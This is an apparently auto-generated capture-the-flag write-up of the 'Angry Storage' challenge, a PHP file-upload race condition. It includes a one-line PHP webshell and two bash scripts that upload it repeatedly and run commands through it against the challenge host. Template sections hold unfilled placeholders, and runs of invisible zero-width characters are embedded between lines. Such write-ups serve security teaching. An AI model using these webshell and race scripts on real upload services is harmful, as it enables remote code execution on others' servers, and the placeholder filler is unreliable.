Angry Storage

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2019-11-17 | Status: Solved Techniques: file_upload_race_condition, temporary_file_access, webshell_upload

Summary

"Found this aaangry storage with source codes available. Can you hack it?"

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20191117_web_kids20_websrv2_angrystorage
• Tags: php, race_condition, file_upload, webshell, temporary_file
• Indicators: file upload with processing, files deleted after processing, source code available, slow file processing, PHP backend
• Source: 20191117_web_kids20_websrv2_angrystorage.md

Foothold

Vulnerability / Misconfiguration

1. File_upload_race_condition
2. Temporary_file_access
3. Webshell_upload

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• file_upload_race_condition
• temporary_file_access
• webshell_upload
• Tags: php, race_condition, file_upload, webshell, temporary_file

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Found this aaangry storage with source codes available. Can you hack it?"

A file storage service that processes uploaded files slowly and deletes them after processing. The source code is available on the page.

URL: https://2019-11-17-angry.ctf.su/

Analysis

The storage service has a race condition vulnerability in its file upload handling:

1. User uploads a file
2. Server saves the file to a temporary location
3. Server processes the file (this takes time)
4. Server deletes the file after processing ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The vulnerability: there's a time window between file upload and deletion where the uploaded file is accessible. If we upload a PHP webshell and access it during this window, we can execute arbitrary code.

Solution

Step 1: Analyze the source code

Review the available source code to understand:

• Where uploaded files are stored
• How long the processing takes
• The URL pattern for accessing uploaded files

Step 2: Prepare the PHP webshell

Create a simple PHP webshell:

<?php system($_GET['c']); ?>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Exploit the race condition

Upload the webshell and immediately try to access it before deletion:

#!/bin/bash
# Race condition exploit for file upload
# Upload PHP shell and access it before deletion

TARGET_UPLOAD="https://2019-11-17-angry.ctf.su/upload"
TARGET_ACCESS="https://2019-11-17-angry.ctf.su/uploads"

# Create PHP webshell
echo '<?php system($_GET["c"]); ?>' > shell.php

# Function to upload and access
exploit() {
    # Upload the shell
    RESPONSE=$(curl -s -X POST "$TARGET_UPLOAD" \
        -F "file=@shell.php")
    
    # Extract filename from response (adjust based on actual response format)
    FILENAME=$(echo "$RESPONSE" | grep -oP 'uploads/\K[^"]+')
    
    # Immediately try to access the shell
    curl -s "$TARGET_ACCESS/$FILENAME?c=cat+/flag.txt"
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Run multiple attempts in parallel
for i in {1..50}; do
    exploit &
done

wait

Alternative: Parallel upload and access

#!/bin/bash
# More aggressive race condition exploit

SHELL_CONTENT='<?php system($_GET["c"]); ?>'
UPLOAD_URL="https://2019-11-17-angry.ctf.su/upload"
ACCESS_URL="https://2019-11-17-angry.ctf.su/uploads/shell.php"

# Continuously try to access the shell while uploading
while true; do
    # Upload in background
    echo "$SHELL_CONTENT" | curl -s -X POST "$UPLOAD_URL" \
        -F "file=@-;filename=shell.php" &
    
    # Try to access immediately
    RESULT=$(curl -s "$ACCESS_URL?c=cat+/flag.txt")
    
    if [[ "$RESULT" == *"spbctf"* ]]; then
        echo "Flag found: $RESULT"
        break
    fi
done

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Read the flag

Once the webshell executes, use it to read the flag:

?c=cat /flag.txt

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR